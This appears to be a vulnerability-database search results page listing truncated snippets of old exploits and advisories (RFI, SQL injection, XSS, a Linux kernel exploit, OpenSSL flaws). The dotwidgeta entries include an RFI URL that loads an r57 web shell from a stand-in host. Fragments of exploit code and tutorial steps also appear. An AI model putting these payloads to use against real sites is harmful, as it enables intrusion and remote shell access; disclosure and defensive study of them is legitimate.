352 matches found
LDAP Version 2 Client Detection
Binary data 8816.prm...
Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit v2
No description provided by source. include netinet/in.h include stdio.h include sys/types.h include sys/socket.h include net/if.h include sys/mman.h include linux/net.h define BUFSIZE 0x10000000 int mainint argc, char argv void mem = mmap0, BUFSIZE, PROTREAD | PROTWRITE, MAPANONYMOUS | MAPPRIVATE...
Net-Side.net CMS (index.php cms) Remote File Inclusion Vulnerability
No description provided by source. I see your future and your future is death. Sharingan ! -------------------------------------------------------------------------------------------------------------- Hi I'm sharingan and this is my vuln : script name : Net Side Content Management System 2...
FreeBSD : OpenSSL -- Multiple problems in crypto(3) (0f37d765-c5d4-11db-9f82-000e0c2e438a)
Several problems have been found in OpenSSL : - During the parsing of certain invalid ASN1 structures an error condition is mishandled, possibly resulting in an infinite loop. - A buffer overflow exists in the SSLgetsharedciphers function. - A NULL pointer may be dereferenced in the SSL version 2...
PortailPHP 2 - '/mod_search/index.php?chemin' Remote File Inclusion
source: https://www.securityfocus.com/bid/22381/info PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected...
Mobilelib Gold - Multiple Cross-Site Scripting Vulnerabilities
source: https://www.securityfocus.com/bid/21817/info Mobilelib GOLD is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code execute in the browser of an...
Mozilla Firefox 1.5.x < 1.5.0.9 / 2.x < 2.0.0.1 Multiple Vulnerabilities
Binary data 3868.prm...
LetterIt v2 (inc/session.php) Remote File Include Vulnerability
================================================================================== LetterIt RFI ================================================================================== Info:- Scripts: LetterIt download : http://otterware.net/index.php?dl=45 Version : 2 Dork & vuln : download scripts an...
LetterIt 2.0 - session.php Remote File Inclusion
LetterIt 2.0 - session.php Remote File Inclusion ================================================================================== LetterIt RFI ================================================================================== Info:- Scripts: LetterIt download :...
OpenSSL -- Multiple problems in crypto(3)
Problem Description: Several problems have been found in OpenSSL: During the parsing of certain invalid ASN1 structures an error condition is mishandled, possibly resulting in an infinite loop. A buffer overflow exists in the SSLgetsharedciphers function. A NULL pointer may be dereferenced in the...
VistaBB <= 2.x (functions_mod_user.php) Remote Include Exploit
No description provided by source. !/usr/bin/perl Method found and exploit scripted by nukedx Contacts ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: [email protected] Original advisory can be found at: http://www.nukedx.com/?viewdoc=48 VistaBB = 2.x Remote Command Execution Exploit This exploit...
dotwidgeta.txt
Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...
file include exploits in dotwidgeta Version 2
Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...
Advisory: phpBB 2.x (Activity MOD Plus) File Inclusion Vulnerability.
--Security Report-- Advisory: phpBB 2.x Activity MOD Plus File Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 07:49 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: phpBB-Amod...
[Full-disclosure] Quagga RIPD unauthenticated route table broadcast
Arhont Ltd - Information Security Advisory by: Konstantin V. Gavrilenko http://www.arhont.com Arhont ref: arh200604-1 Advisory: Quagga RIPD unauthenticated route table broadcast Class: design bug? Version: Tested on Quagga suite v0.98.5 v0.99.3Gentoo, 2.6.15 Model Specific: Other versions might...
[SA19049] Gemini "rtcDescription$RadEditor1" Script Insertion Vulnerability
TITLE: Gemini "rtcDescription$RadEditor1" Script Insertion Vulnerability SECUNIA ADVISORY ID: SA19049 VERIFY ADVISORY: http://secunia.com/advisories/19049/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: Gemini 2.x http://secunia.com/product/8406/...
eazyCMS "page_id" SQL Injection Vulnerability
eazyCMS "pageid" SQL Injection Vulnerability author:r0t hackers.by.lv Date:18 nov. 2005 software: eazyCMS v2 vendor:http://www.eazycms.com/home.php?pageid=2 Software Description: eazyCMS offers the functionality that would, in a custom-made system, cost thousands or tens of thousands - and it's a...
Sql injection in ibProArcade
Sql injection in ibProArcade. This bug was discoverd in all of the versions of ibproarcade 2.x. It was tested and found perfectly working under vBulettin or Invision power board. Date:2005-11-5 The injection is here: module=report&user=userid Query: 'SELECT name FROM ibfmembers WHERE id=userid'...
Flash FTP Server Directory Traversal Vulnerability
Flash FTP Server easy-to-set-up FTP server for all Windows platforms. Some bugs were found that will allow a malicious user to write and read anywhere on the disk. OpenVAS Vulnerability Test $Id: flashftpserverdirectorytraversal.nasl 6053 2017-05-01 09:02:51Z teissa $ Description: Flash FTP Serve...
Invision Power Board 2.0.3 - 'login.php' SQL Injection (Tutorial)
danica jones Tutorial for the recent exploit released by Petey Beege. 1. Get the exploit from http://www.milw0rm.com/id.php?id=1013 https://www.exploit-db.com/exploits/1013/ 2. Make sure you have LWP::UserAgent perl module if not do this: a. perl -MCPAN -e 'shell' b. inside the perl shell, do thi...